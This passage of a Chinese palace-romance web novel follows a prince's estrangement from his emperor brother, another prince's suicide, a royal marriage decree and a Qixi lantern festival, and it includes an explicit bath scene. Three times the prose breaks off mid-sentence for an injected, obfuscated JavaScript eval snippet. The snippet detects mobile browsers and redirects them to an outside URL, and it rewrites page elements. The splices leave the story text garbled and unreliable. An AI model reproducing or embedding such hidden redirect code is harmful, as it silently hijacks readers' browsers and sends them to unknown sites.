于是容烨先她一步将璟王留在宫里,美其名曰许久未见,邀璟王来宫里小住几日,实则是为了保护。不但留住璟王的性命,也在宫外照看好了祝音。 这些都是容潜回宫之后才知道的,可是容烨以为他气什么? 是气做容烨这些事不与他知会,还是身为一国之君的人改了主意出尔反尔,又或是气这个伪君子独当好人让他做残害手足的恶人? 他是那种非要置人于死地的人吗?他与璟王并非死仇啊! 原来多年相处,容烨对他竟无半分了解,正是如此容潜才觉得彻底心寒。 沉了沉心神,容潜起身,拂去衣摆上的褶皱,一副不想再谈的样子:“皇兄是一国之君,你的事,我恐怕帮不上忙。” 容烨缓步来到容潜身前:“若非昭明从中作梗,你们本不会闹到如此地步,现在他也受到应有的惩罚,我放下了,你也该放下了。” 容潜听罢,冷冷瞥向他:“你放下了是因为你知道自己的皇位从来都坐的安稳,是因为你和他是一样的人!” 而后他转过身正对着容烨:“皇兄,你明知道我从来都不在意权势,你实在不必连我一同算进去,昔日我被封王,你的母后是如何想尽办法向父皇谗言想要置我于死地的,我都记得,可我也记得你待我的好,所以这么多年来,我一直假装什么都不知道。” “皇兄,这些事你不会不清楚。” 83. 答案 正因为清楚,理所当然的利用他的真心,借以他的阎王名号做了许多事,也除去不少人,旁人只以为容烨是在一味纵容他,却不知其中也有另一人的心思。 这些容潜自然是不介意的,他名声本就不好,手上多沾点血也没什么差别,做这些事,他心甘情愿。 他只是觉得,不能辜负兄长曾经的好意,这一还似乎就没了尽头,直到今时。 以前,容潜总认为武器是被人拿在手里的,现在看来,也可以是人。 话说到这里,容烨觉得没有什么回旋的余地了。 容潜沉吟片刻,改换一副释然的神情,像是退让:“五哥想当什么都没发生过,臣弟也可以当什么都没发生过,五哥想做明君,臣弟也早就习惯做个坏人,以及你的母后对二哥做过什么、对我做过什么,这些臣弟都可以继续当做不知道,只是有一点,那些上不得台面的技俩不能出现在她身上,还请五哥理解。” 一声声“五哥”落在容烨耳朵里怎么听都不是个滋味,每一声都像在讽刺,刺得他不知该说什么。 末了,容烨点点头,算是对他的话默认。 走过他身边时,容烨步伐一滞,缓缓抬起手在他肩头拍了两下,说道:“明日若是得空,来宫里看看二哥吧。” “好。” 冷冷淡淡的一个字,分明是应允,却透着一股子逆反的劲儿。 知道再说下去也没什么意义,最多给自己多添些堵置些气,身不同位,何必奢求旁人懂得自己。 自古以来,国君都是孤身一人,无需别人了解,也不能被别人了解。 他从小就知道自己要走上这条路,也早就做好了准备走上这条路,而如今真的坐上这个位子,他才发现自己舍不下的不仅是父子、母子之情,就连这十几年一直虚伪相与的兄弟之情,他也舍不下。 容烨抿了抿唇,同他擦身而过。 暗红色意料与黑色相交映,出了殿门融入夜色更加模糊不清,唯有那张姣好的脸在透着寒意的月色下黑白分明。 等候在外的人不清楚发生了什么,只能瞧见皇上出门的脸色比进门还难看,个个心惊胆战,更加恭敬送贵客出门。 然而皇上一言不发就这么出去了,脚步快的半点都不愿多留,一看就是受过气的样子。 这......崇安王没来送? 几人不约而同的朝院子深处看,崇安王还没出来,那可是自己家的主子,这会子不会比皇上更生气吧?他要是生了气,院子里这一干人等还能有好日子过吗! 又是担心又是害怕,忐忑不安。 正当这时,容潜出来了,脸上尽是风轻云淡,看起来与平时一般无二,不像刚吵了架的样子。 众人长舒口气,这才把大门关紧,门闩搭上,各自去忙活自己的。 - 卧房内室,浴池的水温正宜人。 千裔清趴在石阶边沿,长发被一支长簪盘起,空气中的水雾有些沾染了她的黑发,慵懒地挂在耳边。 池水漫过胸口,疏解身上的疲惫感。 一片平静之中,颈下的水位线陡然泛起一阵涟漪,酥酥痒痒的,那双美目随着触动缓缓睁开,睫毛上还挂着颗晶莹小巧的水珠。 那抹熟悉的身影已经来到眼前。 “谈完了?”千裔清侧身坐起来,上下仔细打量一圈,没瞧出容潜有生气的地方,又问,“似乎还挺和谐?” 容潜打趣道:“难不成你希望我们打起来?” “怎么会。”眼波流转,纤细的手指湿漉漉的,在水面挑起一道水花,带着湿意贴上他脸颊两侧,被水暖热的温度透过皮肤浸入他内心。 正当容潜心猿意马时,千裔清浅浅一笑,认真端详手心捧着的面容说道:“这么好看的脸......万一伤着可就不好了。” 他佯装不满,缜着张脸说道:“哦,原来姐姐喜欢的只有这张脸。” “那不然还有什么?”千裔清偏头。 容潜弯了弯唇角,手臂不知何时攀上她的肩膀,笑眯眯地凑近:“我活儿不好吗?” 实在没有比他脸皮还要厚的人了,千裔清嘴角抽了抽,倒不是觉得害羞,只能感叹怎么有人张口就能说出这种话,还脸不红心不跳的。 千裔清定定瞧了他一眼—— 不仅脸不红心不跳,还很自信的样子。 “唔——”拖着长长的尾音,她认真一想,中肯地点评道,“还挺好。” 语调微微上扬:“只是挺好?” 这显然不是他想听到的答案。 于是紧接着,容潜身体力行的表达出自己的不满,一手钳住千裔清的雪颈抵在边沿,力道不重,但也足以控制她的去向。 水雾之下,容潜的眼底似乎泛着猩红,并非狠戾之色,而是沾满欲望,徘徊在一发不可收拾的边缘。 想起千裔清上次说起池壁硌人,他顿了顿,转而把胳膊横在光滑的玉背之后,浅浅拦住。 容潜凝视着她,眼梢挂着一丝阴谋诡计:“我记得你说自己不通水性。” 何止不通,简直半点都不沾的。 每次在池里,千裔清只敢扒着池边,生怕自己经受不住水力。 因此,容潜把她抵在身前的一瞬,她的手比脑袋反应更快,立刻攀紧容潜结实的后背紧紧抱着。 他得逞的笑道:“抱紧点,不然待会呛着水可别怨我。” 千裔清想抬腿踢他,发现在水里腿也使不上什么力气,只能抱怨地瞪了一眼:“能不能不要在这里。” 容潜摇头:“不行,我要做到你觉得——很好,才行。” 好在他手臂和身上力气都很大,完全不需要千裔清出什么力气,唯一需要做的就是抱紧他,把自己紧贴着挂在容潜脖子上。 在水中他们也并非第一次尝试,纵然总有一种小命不保的感觉,可不得不承认这种感觉还是很奇妙。 被水流缓冲的力道多了些酥麻的触感,勾起灵魂深处无法触及的一种愉悦,足趾都跟着蜷缩。 在这里,这个男人就像是她唯一的救命稻草,承接她灵魂和生命的汪洋小舟,分明遥远却又触手可及,让人产生一种最渴望的就在自己手中的实感。 这种感觉说不上来的好,像梦境、又真实的欢喜,让人沉迷至极,不愿清醒。 温水彻底变凉,灼热的躯壳逐渐清醒。 那位崇安王披 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169203|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上衣服又变成高高在上生人勿近的模样,若非怀中如玉的娇艳美人一身斑驳,好像方才那个不计后果着魔疯狂的根本不是他一样。 直到这会儿,千裔清终于有功夫和他说上两句正经话。 差点忘了,她还有要事要说。 千裔清还没来得及说话,容潜先开口了:“明日我会进宫一趟,去见璟王。” 璟王竟还在宫里没回王府吗? 千裔清怔然,一面心不在焉地抬起胳膊任由容潜给她穿衣裳。 她犹豫一下,指着角落桌几上小巧精致的瓷瓶说道:“你明日进宫能不能帮我把那个带给越曦?” 顺着她指尖的方向望了一眼,容潜回过头,眉头微皱:“不是说有几味药想不起来吗?” 千裔清眨眨眼,一脸无辜道:“突然就想起来了。” 容潜瞥她一眼:“说谎。” 而后他垂头摇着,语气中无奈又带着退让:“我让万楹送过去。” 如今的容烨难免对他心有芥蒂,由他送去,难免会引起不必要的麻烦。万楹平日里在各宫各院四处乱逛的,由她趁着旁的东西一并带过去最合适不过。 千裔清也是这么想的,她不想让容烨知道越曦脸上的假面有去除的可能,因此也不方便进宫去,但她也无法替越曦做决定,是去是留,还是由她自己定夺吧。 容潜垂眸思量片刻:“可还有什么话要带给她?” 千裔清道:“不用,只说是我给的,她会明白的。” 容潜颔首,手上系起她腰间盘扣的动作也刚好完成,被褥一掀,他还没伸手,身侧带着香气的柔软身躯自己就钻进他怀中。 他脸上有一瞬间的失神,很快被欣慰覆盖而上,对于她的主动,容潜从来都十分受用。 空气良久的宁静过后,微沉的男声犹豫很久开口:“别人的事都说完了,是不是该谈谈我们的事?” 天知道他做了多久的心理建设,时隔两年,他早已站在更高的位置上,手握更大的权利,提起当初的那个问题,容潜诧异的发现自己还是那么......忐忑? 也是耽搁太久,再加上容潜的身子抱着总是很舒服,不大一会儿千裔清就有点梦游,意识昏昏沉沉像是飘去了窗外,呼吸逐渐平稳,只有耳边隐约能听到他不甚清晰的话。 意识不清楚,反应也就慢了,迟缓片刻,千裔清才下意识的动了动嘴,含糊不清地嘟哝:“什么事?” 睡着了? 容潜顿了顿,收起下巴望向怀里躺着的人儿,她的脑袋搁在自己肩头胸口,随着他的细微动作跟着移动。 真是睡着了。 心中暗暗叹息,好不容易挑起话头,脑海里排练了一千遍一万遍的话语就在嘴边,如今却只能生生咽下去了。 千裔清虽是快睡着了,却还有一丝神识,她听见容潜和她说话,只说了那么一句就没回音了,总觉得放心不下,闭着眼口齿模糊地又问:“怎么了......” 容潜轻轻笑了笑,拍拍她的脑袋小声回应:“没事,睡吧。” 尘埃落定,前事皆了,他们有的是时间不是吗? 答案。 不急,不急...... 84. 你呢 容潜进宫没多久就回来了,前前后后不到两个时辰。 到底还是咱们皇上心善,明知璟王有谋逆之心,给人住的却还是从前璟王居住的皇子宫殿,除此之外,待遇上和从前一般无二。 东西给了万楹,他和璟王本也没什么好再多说的,刚巧碰上同样来宫里面见皇上的祝丞相,经得皇上答应过来看望自己这位女婿。 既如此,还是让这真正的一家人好好聊聊。 隔天,丞相祝既明在朝堂上请辞,声称自己已经年迈,剩下的日子只想好好颐养天年。 说是辞官,其实也是不得已。虽然许多人都不清楚璟王的心思,但他消失匿迹这么长时间,再加上当今皇上充耳不闻的态度,总有与他们熟悉的人心中隐有猜测。 旁人都能猜测,容烨自然是更清楚不过。 当初还未立储君时祝既明就和璟王走得很近,那会党派纷争明显,所有人都把他划为璟王党羽,而今出了这档子事,是怕璟王之心祸及自己和家人。 他一人也便罢了,可他还有夫人,有爱妾,还有一个不成器的儿子,还有祝音。 容烨应允了。 其实容烨早已告诉璟王会放他回去,是他这位二哥自己不肯,说是许多年未曾住过这间寝宫,实在是怀念,一时不舍得走。 小小的波澜很快消逝,日子恍然回到从前,平静、闲适。 刚过月半,再等几天就是大暑。 千裔清和容潜在外头游玩了好几天今日才回府。 府里的下人早早等候在外,这会正在一件一件往下搬行李,陆离似乎也刚闲暇不久,紧跟着到眼前,却又犹豫不决,似乎有话说。 千裔清从容潜身后探出小脸,迟疑了片刻问:“是不是我在这里不方便?” “啊不是不是!”陆离蓝联摇手,慌张解释,“王妃言重了!是、是......” 容潜最看不得他这副想说又不敢说的样子,眉峰一凛,道:“说。” 陆离抿了抿嘴,抬起眼露出一瞬沉重,低声回答:“是......璟王,他前日在璟王府暴毙了......” 暴毙?! 这里最惊讶的应该是千裔清。 没听说过璟王身上有什么旧疾,怎么会突然暴毙?还是在自己家里? 她转头望向容潜,视线交汇,她看到容潜脸上并没太多惊讶,而是一些别的很复杂的情绪。 时间只凝固了一瞬,容潜垂下眼睫,鼻腔逸出一个简短的音节:“嗯。” 陆离继而恭敬地问询:“后天就是出殡的日子,属下原想着您在外面这事就算过去了,现下您既然回京,皇上那边......” 容潜颔首,自然而然的交代:“知道了,你去回宫里的话吧,免得他们又要特意跑一趟过来烦本王。” “是。”陆离弯了弯腰,刚走出两步又顿住身形,脚尖调回方向,目光带过千裔清的脸,“还有一件事,祝既明一家全都回了乡下老家,说是想过几天清净日子,璟王妃也一同随行,他们似乎还不知道这件事,皇上的意思是不必刻意通知......” “既然是皇上的意思,那就谨遵圣意。”千裔清回以浅笑,“放心吧,我有分寸。” 如此甚好,陆离安稳放心,躬身行礼退下。 门口马车前还在忙碌着,叽叽喳喳的吵闹声,议论声,还有抬下沉重箱子的吃力声音交杂着,渐渐变小。 从王府大门到林后小院的路分明很近,今天却硬生生被他们走出一座城的感觉。 小径安静,窄小的石子路边,茂盛的草丛被人精心修剪的干净,周身都是些青草树叶的气息,还很阴凉。 侧过头,宽厚的肩膀下,一双手臂背在身后,结实的线条在袖袍之下勾勒清晰,走了许久,始终没人说话。 千裔清叹了口气。 容潜被她拉回注意力,问道:“为何叹气?” 千裔清抬起下巴眺向远处,路的尽头拐向更深的花林,那里娇色弥漫,看起来像与这边完全不同的两个世界。 “你知道璟王会死。”她顿了顿,补充道,“方才你一点都不惊讶,似乎是心中早有预料。” 容潜也没犹豫,很直白的便承认了:“是,我早知道他一定不会苟活。” 苟活这个词用的很微妙,不是活着,也不是苟且,而是——苟活。 是一个人再也找不到生命的意义才会用到的词。 这千裔清不禁想到容潜进宫那天,那日他回来很早,脸上是稀松平常的表情,看起来没什么特别,但千裔清还是从中读出一丝强颜欢笑的意味。 她知道容潜心情并不算好,所以他在宫里遇见了谁,谈了什么,千裔清很知趣的一句没问。 再到现在,她依然能读出这张侧脸写着被遮掩了一层又一层的悲伤和难过。 容潜并不是要瞒她,只是不知道怎么开口,又觉得这些事只会惹人烦忧,她没问,他也就没说。 今天既然已经到了这般田地,索性他便讲明:“五哥一早就告诉他待我回城便送他回府,一切就当没发生过,他还是继续做他的璟王。是二哥自己不愿回去,他说祝音在等他,他不能回去,也不敢。” 千裔清静静听着,脚步很慢。 容潜低下头无奈笑了一声:“二哥这人一辈子自负,从来都觉得自己运筹帷幄,从来不承认自己错了,他到死都没觉得自己当年做错了什么,也不曾给我一句道歉,可他说他对不住祝音,所以不敢见她。” 摇了摇头,容潜偏头看向千裔清:“你说他是不是很可笑?明知对不住还要做,说什么娶了绥夏公主、有了权利才能给她更好的,不过是为自己的野心开脱罢了,二哥他魔怔了!” 与其说可笑,不如说可悲,昔日那样的一个风云人物,那样令人望而不及的璟王殿下,如今落得个暴毙在家的下场,难道不是可悲么? 默了一会,千裔清幽幽问道:“权利真的那么重要?” 容潜对此不置可否:“有些人觉得重要,有些人觉得不重要。” 他思量片刻,说道:“其实我也可以理解他,二哥是长子,又是朝臣极力推崇的人选,他又自小争气,论能力,他或许比五哥更适合那个位子,他唯一输给二哥的就是没有那样一个母亲,那样得宠的一位皇后,以至于父皇可以爱屋及乌,从一出生就把这个位子留给他最爱的儿子。” 千裔清沉吟:“可是他不知道。” 容潜嘲讽地笑了笑:“是啊!他不知道。他怎么会知道自己十数年的努力都是白费,而他乖巧懂事的弟弟却可以不费吹灰之力的得到他想要的。换作是我,我也会不甘心吧。” 千裔清正要说些什么,又听到他轻笑出声:“不过还好,还好我不是他,我从一开始就清楚谁都有可能坐上那个位子,而我是唯一不可能的那个,所以我从来没想过和他们争,也就没有那些烦恼了!” 在说这些话的时候,他的口吻像是很轻松,又庆幸的,千裔清却从中听出几分悲凉,那是一个从一开始就知道自己不会被偏爱的孩子,在时隔多年长大后回首自己的过去而发出的感叹。 千裔清也越发理解容潜为什么会那么渴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169204|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望别人善待于他,又很难对别人的示好全然信服。 他是个矛盾的人,复杂的人,可他心底也是个最柔软的人。 这条小径终于走到尽头,容潜顿住步伐,望着眼前乱花纷杂的花林,回忆起那日见到璟王的最后一面。 他陡然说道:“二哥是自裁。” 是了,璟王那般自负的性子怎能忍受他人的非议,而且这并非寻常议论,是他不愿听,却没办法不接受的事实。 与其被人指着脊梁,与兄弟尽生隔膜,甚至与结发妻子都再无相顾直面,倒不如走的干干净净。 干干净净,在他的心里是最好的结果。 一根手指悄悄攀上容潜的手心,接着是两根、三根,整只小手慢慢攻克他攥紧的拳心,接着勾起,紧紧握住。 看向这只手的主人,她正笑意盈盈地望着自己,眼睛里折射的点点阳光汇成星点,一闪一闪的,耀眼而夺目。 这样的笑颜把他的心绪也一并带起来了,容潜跟着她抬起嘴角,语调温和:“你笑什么?” 千裔清一边握着他的手抱进怀里,脸颊靠近他肩膀紧贴着,近似呓语:“还好你不是他,你比他坦诚多了。” 容潜第一次听到有人对他这么评价,坦诚这两个字对于皇族的人个个陌生,纵是那没脑子的容泽,也没人会说他坦诚。 容潜怀疑地重复一遍:“坦诚?” 千裔清用力点点头:“是啊,你对我一直都很坦诚。” 这样啊......那这话倒是没错了,容潜承认。 千裔清拉着他的胳膊晃了两下,毫不吝啬自己的褒扬:“你比他坦诚,比他有魄力,还比他有勇气!要我说,那些姑娘眼神儿都不大好,还是我有慧眼,一眼就挑上了整个夜南最好的男人!” 容潜勾了勾唇角,知她是在胡说八道,昔年那一眼,分明是她故意算计的。 可是不得不承认,这话听起来是让人心情不错。 他顺势捏了捏掌心的指尖,捏紧,说道:“又说谎,你倒是越来越会哄人了!” “你不是喜欢我哄你吗?”千裔清理所当然道,“再说我也没说错,夜南只有一个崇安王,夜南也不能没有崇安王,不是吗?” 容潜轻轻“嗯”了一声,心思却放在另一个问题上,是他一直想问,想确认,想无数次从她口中听到回答的一个问题。 握着她手的指节倏然转换角度,顺着指缝滑过与她十指相扣,严丝合缝。 接着他不满足似的又紧了紧,问道:“那你呢?” 夜南将崇安王视作无人可替的战神,朝廷将崇安王视作不可或缺的兵刃,那她呢? 在她心里,崇安王三个字又算作什么?也如夜南一样视他为重要之人吗? 若是以前,容潜忐忑、不安,也不敢问。 纵然他习惯了自己说服自己在她心中占据重要位置,可每次她的行为、言谈,以及旁人说的话,都让他无法不心寒、怀疑、挣扎。 他在这挣扎中度过一个又一个夜晚,一个又一个白天,无数次想从她身上得到肯定的回应,哪怕是暗示。 但好像都失败了。 时至今日,容潜终于有底气问出这句话,这么简单却一直没敢问出的三个字:“那你呢?” 千裔清怔了怔,低头看了一眼紧紧相握的两只手,仰起脸笑道:“崇安王在我心里无足轻重,不过容潜嘛——” 腾出一只手贴在他的胸膛,鼓点一般的跳动回应着她的话语,郑地有声、一字一句:“容潜在我心里是唯一的、最好的、珍爱之人。” 85. 赐婚 停在小径之间的交界线,身后葱色的阴凉之意逐渐消散,扑面而来的是花香,还有高悬在天上的硕大日盘。 一阵暖意落在脸上。 容潜略显不安的表情缓缓挂上笑意,唇角的弧度不断加深,这是他喜欢的答案。 可这人别扭,总觉得听不够,便故意用生硬的语气说道:“我又怎么知道你这句是不是在哄我?” 千裔清缄默片刻,眺着不远处杏黄花白的树间,突然问道:“现在是几月?” 容潜怔了怔,算算日子:“七月——快八月了。” “是啊,马上就入八月了......只今只道只今句,梅子熟时栀子香。”千裔清笑着转过头,“我已经浪费了太多时间,所以今后和你在一起的每刻我都会更加珍惜。” 这样说......够明白了吧? 微风拂过发间,修长的手指勾去她头顶刚落下的花叶,半绿半黄的,在指尖打了个旋儿掠过她的视线,而后跟着清风落下地去。 她听到容潜沉定的声音。 “亦我所愿。” - 大殓丧仪,举国同悲,朝野百官无不感叹,皇族上下皆是愁哀,就连街头巷尾的百姓提起时也无人不惋惜一句可惜,皇上有意以最高仪制送他这位皇兄入土为安,给他最体面的结局。 与璟王相关的人都前去吊唁,偏偏与他最亲近的那个却浑然不知。 祝音一直没回来过,不单单是她,祝丞相一家都没什么音讯,似乎暂时不打算回京了。 八月初。 千裔清也想给祝音写封信问候一下,提起笔却又不知道从何下笔。 正发愁,容潜从她手中抽去湖笔,笔尖上新鲜的墨汁在她虎口和指腹留下两道墨迹。 抬头,容潜对她抱歉的笑了笑,立刻拿干净的帕子递了水给她擦手,一边低着头说道:“你不必给她写信,纵然你写了,她也是收不着的。” “为什么?”千裔清不解,是不清楚她现在居所何处吗? 容潜轻哼一声:“你以为祝继明为何要辞官?他见过二哥,自然也知道二哥的选择,带走祝音也是二哥的意思。” 听容潜这么一说千裔清就明白了。 既是璟王的意思,也是一个父亲对自己女儿还能做的事。 擦净墨迹的手帕黑一块白一块,容潜随手把它丢在一旁,把那只干净柔软的小手放回她自己怀里,又说:“你怎么不问问越曦?怎么说她也算是你半个病人,你不关心一下?” 啊?这有什么好问的? 不过看容潜一副幸灾乐祸的样子,千裔清有点好奇了。 也算是顺着他的意问一句:“她怎么了?” 容潜扬起嘴角,给了她一个颇为意外的回答:“她跑了。” “跑了?!”千裔清惊呼出声。 越曦想离开皇宫是是事实不假,可那是皇宫啊! 她怎么跑出去的?容烨肯放她了? 容潜早知道她会有这反应,挑了挑眉:“似乎是在二哥出殡那日离开的,皇兄找了她许久才发现人已经不在宫中了,至于是怎么离开的,没人清楚。” “她倒是很聪明。”千裔清已经从震惊中缓缓抽离,赞赏地点点头。 容潜也不否认:“是啊,所有人都忙着为二哥吊唁,没人会在意一个小太监的行踪,那天的确是最好的机会。不过......” 他顿了顿,视线与千裔清相交:“若没有人帮忙,凭她一人还不足以逃出去。” 或许是她洗去易容,宫里无人认识这个生面孔,所以她才侥幸离开呢? 不对不对,若是生面孔,又长得这么招眼,应该立刻就会引起警觉被侍卫发现,甚至有可能一刀砍了! 很快,千裔清脑海里浮现一张很久未见的脸,那张温婉却略显病态,上了年纪却仍看得出美貌的女人——太后。 她不喜欢越曦。或者说,除了她的宝贝儿子,她对所有人都是带着点敌意的。 “太后帮了越曦?” 容潜耸了耸肩,不在意道:“谁知道呢,不过看皇兄脸色一日比一日难看,还挺有意思的!” ......他还在记仇啊? 注意到千裔清的表情,容潜捏着她下巴抬起面朝自己,微微眯起眼不紧不慢地开口:“你似乎在骂我小心眼儿?” 千裔清拍开他的手,挑起眼瞧着他:“殿下莫不是我肚子里的蛔虫,连我的心里话都听得一清二楚。” 话音刚落,半开的门外急匆匆的跑步声传来,很快从台阶下往上走。 宝山一边跑着一边大喊:“殿下殿下!宫里传旨了!” 圣旨? 听到这个字千裔清就觉得心神不宁,容烨派人来崇安王府传旨一定是有什么必须交于容潜去做的事。 还能是什么,又要打仗? 她有些担忧,眉头微微蹙起,目光自然而然落在容潜脸上。 反观容潜,只是低头思索了片刻,瞳孔中的茫然转瞬即逝,似乎猜到了什么,抬起头点了点下巴。 容潜握住她的手腕:“皇命难违,走吧。” 从别院到大门的距离不远,只是步伐太沉,装满了愁绪,似乎走了很久才到一半。 眼看着越来越近,身旁拉着她的男人还像没事人似的,千裔清忍不住仰头问:“这道圣旨是好是坏?” 容潜不置可否:“或许好,或许不好。” ......没说一样。 心中陡然升起一丝异样,千裔清再次看向他:“你是不是知道些什么?” “不知道。”容潜被她严肃的表情逗笑了,歪着头道,“你这么想知道,随我一同去听一听不就清楚了?” 其实也没什么好问的,大门近在眼前了。 千裔清已经能清楚看到门前站着的两列宫人,为首的陈公公正捧着明黄的卷轴一脸正色地立在门前,等着容潜领旨。 两人到了近前,陈公公清了清嗓子:“崇安王、千姑娘,接旨吧。” 千裔清脸上闪过一丝迷惑。 她也要一起接旨吗? 接就接吧,连容潜都老老实实跪下了,她杵着算怎么回事。 头顶上传来陈公公的声音:“天子诏:千氏女千裔清,品德貌美,柔明毓德,朕闻其善解人意,又与崇安王情投意合,特赐婚于崇安王,一切婚礼事宜责有礼部筹办,择良辰吉日完婚。钦此!” 千裔清诧异地抬头,正迎上陈公公笑眯眯的神情:“恭喜二位了!千姑娘,今后可就是名正言顺的崇安王妃了!” 千裔清怔了怔,渐渐回过神来,干着嗓子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169205|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敷衍了一句:“谢过皇上了。” 除了赐婚的圣旨,容烨还送来许多贺礼,一是嘉奖崇安王多年战功,二也是为两人祝贺。府里上下忙前忙后的收拾,这当真是厚礼! 最高兴的应该是绛雪和绛珠,激动的落下泪来,不知道的还以为被指婚的是她们俩。 容潜从刚才就默默看着千裔清没说话,他其实对这旨意当下就猜到了,毕竟是容烨早早就答应好的,也是时候兑现了。 只是...... 容潜抿了抿唇,心情跟着千裔清的反应一起下沉。 任由其他人再怎么热闹,那些热闹都好像与她无关,千裔清站在原地,垂着长长的睫毛不知在想什么。 望着她头顶脸侧的一片阴影,容潜缓缓开口:“你不高兴?” “......哦没有。”千裔清拾起头,眉梢微抬,“只是觉得有点突然。” 容潜顿了顿,尽量放柔了语气,不让自己像方才那样生硬:“那......你是没准备好,不是不高兴?” 千裔清点点头,绽开笑脸握上他的手:“高兴。” “......嗯。” 虽是应下了,看着这张笑脸,容潜在想:她是真的高兴吗? 她是......真的愿意嫁给他吗? - 婚期没过几天就定下了,大约一个月后。 其实定在什么时候对千裔清而言都无所谓,她一直住在王府,跟在容潜身边,甚至早有和他有了夫妻之实,府里上下也都是这么称呼她的,对于她们而言,两人之间只差那么一个仪式而已。 而这个仪式对千裔清来说,有和没有都不重要,她本就不是个在意虚名的人。 这天是乞巧节,容潜同礼部商议完婚礼事宜后已经到下午了,他对这事格外的上心,事无巨细,样样都要过问。 千裔清倒是躲了个清闲,反正她也不懂这些,他们怎么安排,她就怎么做。 有时候千裔清也觉得挺有趣的,从自己家娶到自己家,连大门都不用出的,容潜有什么好紧张的?不就是换身衣裳拜个堂的功夫。 可容潜就是很上心,方方面面都要征询她的意见,为她考虑到最好、最满意为止才肯罢休。 耳边是他絮絮叨叨说着,千裔清听不进去,想起头天晚上绛雪绛珠就在做花灯,这两个丫头手巧,做了好些形状各异的好看花灯。 非但如此,她们一大清早就起来接露水,还做了许多漂亮的果子。 千裔清虽然没有认真过节的习惯,却也知道今天是乞巧节。 她抬手捂住容潜的嘴,打断他的话,笑眯眯道:“这些不急,今日是七月七。” 容潜眨了眨眼似在回想,很快,他弯起眼睛,扯下千裔清的手:“今日是乞巧。” 千裔清点点头,指着外头暗下来的天色:“晚上不是有灯会吗?咱们也去吧,我还没好好逛过初七的灯会呢!” 往日她没想过求得如意郎君,自然也不关注这些。 倒是跟祝音匆匆逛过一次,只不过没过一会儿就被祝丞相给叫了回去。 容潜沉吟片刻:“你想去?” “想去,想和你一起去。”她特意补了一句。 果然,后半句起显著效果,容潜笑着颔首:“好,一起去。” 86. 七夕(正文完结) 乞巧灯会花灯如海,长街比以往都热闹,老少皆有,不过最多的还是女子和孩童。 人海中多是结伴而行的女子,笑语盈盈地与同伴低声交流,还有提着莲花灯穿梭在人群中欢声的幼子,当然,毕竟是七夕,自然也不乏成双成对的佳侣。 千裔清的唇角一直抬着,显然对乞巧的灯会很感兴趣。 容潜看着她,沉吟了一会儿,道:“我以为你不怎么喜欢吵闹。” 吵闹和热闹还是不大一样的,况且今天是特殊的日子,偶尔参与一下也不错。 于是她抬起目光落在容潜好看的脸上:“那要看和谁一起了,跟你一起,我当然喜欢。” 这话说得坦然又理直气壮,晶亮的眸子在万千灯火下熠熠发光,有一种描绘不出的动人。 容潜含笑点头,握着她的手在袖口里又紧了紧:“人多,拉紧我。” 石桥边上,画舫浮沉在河面,因夜色晦暗显得格外明亮,张灯结彩,充满欢声笑语,更有醉酒的才子在船上吟诗作对、引吭高歌。 千裔清指着河面上星星点点散落的莲花灯,一拍脑袋:“呀,忘记带上绛雪她们扎的河灯了!” 容潜道:“不妨事,街上到处都有卖的。” 街上卖的自然是没有绛雪她们特意做的好看,大多是莲花状,千篇一律。 但她想了想,也无妨,不管是什么样的,总归是个寄托美好的由头,都是要随波逐流,飘散远去的。 刚想到这,容潜已经拉着她来到一处摊位前,买了香烛交了银子。 千裔清选了两只,仰头递给容潜。 他愣了一下:“我也有?” 千裔清理所当然地点头:“讨个好彩头嘛,一起。” 河边早就堆了不少人,一盏盏点燃烛芯的花灯顺着台阶被推进河面逐渐远去。 容潜抬笔停了不过片刻,而后毫不犹豫地在纸上写下四个小字,小心放入河灯中。 他侧目看向一旁仍在冥思苦想的千裔清,柳似的眉映在灯火下满是苦恼之色。 她虽然素来也不信这些,但既然做了,总也不能这么敷衍,于是就谨慎许多。 容潜看她这模样看得笑了,忍不住打扰她的苦思:“不如给你找张更大的纸,慢慢写。” 被人一眼看出心思,千裔清有些尴尬地笑笑,余光瞟过他手心端放着的花灯,那张小小的纸条被莲叶掩住,看不清写了什么。 千裔清问:“你怎么写这么快,都不需要想一下吗?” 容潜垂眸扫过白纸上排列端正的墨迹,唇角微微翘起:“不必,我只有一个愿望。” 倒是显得她贪心了。 千裔清撇撇嘴,目光投向容潜低垂的侧脸,清晰的下颌线在灯火映照下显得灰白分明,线条一直顺着颈部蔓延到若隐若现的锁骨,合起的衣襟之下,胸膛因为喘息微微起伏。 